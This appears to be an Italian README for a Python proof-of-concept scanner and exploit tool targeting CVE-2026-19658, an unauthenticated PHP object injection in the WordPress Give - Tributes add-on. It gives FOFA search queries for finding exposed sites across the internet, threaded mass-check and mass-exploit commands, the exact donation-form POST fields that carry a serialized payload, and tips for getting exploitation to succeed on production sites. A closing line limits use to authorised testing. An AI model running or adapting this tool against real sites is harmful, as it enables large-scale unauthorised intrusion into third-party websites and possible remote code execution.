
Checker Python 3 e helper per l'exploit di CVE-2026-19658, una vulnerabilità di PHP object injection in WordPress Give Tributes, con scoperta dei target tramite FOFA e sfruttamento dei form di donazione legacy.
Scanner proof-of-concept in Python 3 e helper per l'exploit della catena di donazione per CVE-2026-19658 nell'add-on WordPress Give - Tributes (Liquid Web / GiveWP).
| Piattaforma | Plugin WordPress (richiede il core GiveWP) |
| Componente | Give - Tributes |
| Affetto | ≤ 2.3.1 |
| Corretto in | 2.3.1.1+ (campi eCard multi-destinatario sanificati) |
| CVSS | 9.8 Critico |
| Auth | Non autenticato (form di donazione legacy) |
| CWE | CWE-502 — Deserializzazione di dati non attendibili |
| Assegnatore | Wordfence |
Quando Allow Multiple Recipients è abilitato per gli eCard e eCard custom message è disabilitato (impostazione predefinita), le versioni vulnerabili memorizzano i dati dei destinatari eCard grezzi da $_POST nei meta della donazione. La validazione dei campi di GiveWP utilizza una copia give_clean() di $_POST (le stringhe serializzate vengono svuotate lì), ma insert_tribute_data() legge $_POST non sanificato, quindi first_name / last_name di un secondo destinatario possono contenere un oggetto serializzato PHP.
Impatto: Nessuna catena POP nota all'interno di Give Tributes da solo. I meta vengono deserializzati quando letti (es. anteprima/reinvio eCard da admin). RCE o impatto distruttivo richiede una gadget chain da un altro plugin o tema installato.
[give_form] / v2), non Visual Form Builder solo v3manual su dev/staging)pip install -r requirements.txtpip install -r requirements.txt
# Singolo target — check (flusso terminale attivo di default per --list)
python poc.py -u https://target.example --mode check
# Check massivo
python poc.py --list targets.example.txt --mode check --threads 20 --flow
# Singolo target — exploit (solo target autorizzati)
python poc.py -u https://target.example --mode exploit \
--form-url /donate/ --form-id 123 --gateway manual \
--payload 'O:8:"stdClass":0:{}'
# Exploit massivo dall'output del check
python poc.py --list candidates.jsonl --mode exploit --threads 8 --flow \
--vuln-list exploited.txt
Esempi:
body="/wp-content/plugins/give-tributes/"
body="give-tributes" && body="givewp"
Lista host (un dominio per riga):
python poc.py --list my_hosts.txt --mode check --threads 20 --flow
Esportazione CSV FOFA:
python fofa_to_list.py -i fofa_export.csv
python poc.py --list list.txt --mode check --threads 20
| Opzione | Descrizione |
|---|---|
-u, --url | URL base singolo |
--list | Lista URL, file host o candidates.jsonl |
--mode | check o exploit |
--form-url | Percorso pagina di donazione o URL completo |
--form-id | Post ID del form Give |
--paths | Percorsi extra da scansionare per i form |
--payload | Oggetto serializzato per first_name del 2° destinatario |
--gateway | payment-mode di Give (default manual) |
--email | give_email del donatore |
--flow | Una riga per target nelle esecuzioni massive (default con --list) |
--no-flow | Solo riepilogo di avanzamento |
--quiet, -q | Output console minimo |
--threads, -j | Concorrenza massiva (default 12) |
--output | Log JSONL (default cve_2026_19658_results.jsonl) |
--vuln-list | Righe di hit / exploit in testo (default hits.txt) |
--candidates-list | JSONL metadati del check (default candidates.jsonl) |
Usa --vuln-list exploited.txt nelle esecuzioni di exploit in modo che gli hit del check in hits.txt non vengano sovrascritti.
| File | Modalità | Contenuto |
|---|---|---|
cve_2026_19658_results.jsonl | entrambe | JSON completo per target |
hits.txt | check | URL con exploitable_candidate |
candidates.jsonl | check | best_form, indizi di versione |
exploited.txt | exploit | url|payment=… quando la donazione è confermata |
status del check| Status | Significato |
|---|---|
candidate | Plugin vulnerabile + Give + form legacy con UI tributes |
vulnerable_no_form | Plugin/versione OK, nessun form adatto trovato nei percorsi scansionati |
patched | Tributes > 2.3.1 o ≥ 2.3.1.1 (quando la versione è leggibile) |
give_only | Give senza Tributes rilevabile |
no_plugin | Tributes non rilevato |
La scansione remota non può vedere in modo affidabile "Allow Multiple Recipients"; i candidati potrebbero comunque fallire al momento dell'exploit.
first_name.manual è spesso disabilitato in produzione — prova i gateway visibili sul form (stripe, paypal, test, …).give validation rejected donation: opzioni tribute/notify, importo o gateway non corrispondenti.give_tributes_show_dedication=yes
give_tributes_would_to=send_eCard
give_tributes_ecard_notify[recipient][first_name][]=Valid
give_tributes_ecard_notify[recipient][first_name][]=<serialized payload>
give_tributes_ecard_notify[recipient][email][]=<donor email>
give_tributes_ecard_notify[recipient][email][][email protected]
…
.
├── poc.py
├── fofa_to_list.py
├── requirements.txt
├── targets.example.txt
├── README.md
├── LICENSE
└── .gitignore
Le liste di scansione locali e gli artefatti di esecuzione (list.txt, fofa*.csv, *.jsonl, hits.txt, …) sono in .gitignore e non devono essere committati.
Solo per test di sicurezza autorizzati e scopi educativi. Sei responsabile del rispetto delle leggi applicabili e delle regole del programma.